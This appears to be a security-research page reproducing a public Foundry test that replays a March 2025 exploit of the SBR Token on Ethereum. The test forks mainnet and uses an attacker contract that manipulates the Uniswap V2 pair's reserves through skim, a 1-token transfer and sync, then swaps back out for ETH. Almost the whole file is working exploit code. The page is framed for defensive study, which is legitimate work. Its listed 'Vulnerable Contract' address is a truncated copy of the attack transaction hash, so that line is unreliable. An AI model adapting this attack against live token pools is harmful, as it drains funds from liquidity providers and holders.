Public reproduction file
src/test/2025-03/SBRToken_exp.sol
Public reproduction file for dataset entry SBR Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 8.495 ETH8// Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a9529// Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f4410// Vulnerable Contract :11// Attack Tx : https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b913// @Analysis14// Twitter Guy : https://x.com/TenArmorAlert/status/189782681742944265216address constant SBR = 0x460B1AE257118Ed6F63Ed8489657588a326a206D;17address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;19address constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;20address constant UniswapV2Pair = 0x3431c535dDFB6dD5376E5Ded276f91DEaA864FF2;22contract SBRToken_exp is Test {23 address attacker = makeAddr("attacker");25 function setUp() public {26 vm.createSelectFork("mainnet", 21_991_722 - 1);27 vm.deal(attacker, 1 ether);29 vm.label(attacker, "Exploiter");30 vm.label(SBR, "SBR Token");31 vm.label(wETH, "Wrapped Ether");32 vm.label(UniswapV2Router, "Uniswap V2: Router 2");33 vm.label(UniswapV2Pair, "Uniswap V2: Pair");34 }36 function testExploit() public {37 emit log_named_decimal_uint("ETH before attack", attacker.balance, 18);39 vm.prank(attacker);40 AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();41 attC.attack();42 vm.stopPrank();44 emit log_named_decimal_uint("ETH after attack", attacker.balance, 18);45 }46}48contract AttackerC {49 address attacker;51 constructor() payable {52 attacker = msg.sender;53 }55 function attack() public {56 address[] memory path = new address[](2);57 path[0] = wETH;58 path[1] = SBR;59 IRouter(UniswapV2Router).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.000000000000004 ether}(60 0, path, address(this), block.timestamp + 10061 );63 Uni_Pair_V2(UniswapV2Pair).skim(UniswapV2Pair);65 IERC20(SBR).transfer(UniswapV2Pair, 1);67 Uni_Pair_V2(UniswapV2Pair).sync();69 IERC20(SBR).approve(UniswapV2Router, type(uint256).max);71 uint256 balance = IERC20(SBR).balanceOf(address(this));72 // console.log(balance); // 5480436967773 path[0] = SBR;74 path[1] = wETH;75 IRouter(UniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(76 balance, 0, path, attacker, block.timestamp + 10077 );78 }79}Analysis
Dataset entry
Public Foundry test for “SBR Token” (2025-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
- src/test/2023-11/3913_exp.solSame protocol or name in the dataset · 163 lines
- src/test/2025-01/98Token_exp.solSame protocol or name in the dataset · 53 lines
- src/test/2022-12/AES_exp.solSame protocol or name in the dataset · 69 lines
- src/test/2024-10/AIZPTToken_exp.solSame protocol or name in the dataset · 72 lines
- src/test/2026-06/ATM_exp.solSame protocol or name in the dataset · 195 lines
- src/test/2023-09/BFCToken_exp.solSame protocol or name in the dataset · 109 lines
- src/test/2022-12/BGLD_exp.solSame protocol or name in the dataset · 113 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7a6488348a7626c10e35df9ae0a2ad916a56a952
- Attack Contract
0x9926796371e0107abe406128fa801fda0e436f44
- Vulnerable Contract
0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea
- Attack Tx
0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9
File record
- Name
- SBR Token
- Path
- src/test/2025-03/SBRToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 780e6b47b202b361166a086c56df90e73019d920
- Language
- Solidity
- Size
- 80 lines
- Date
- 2025-03-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/SBRToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 780e6b47b202b361166a086c56df90e73019d920, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.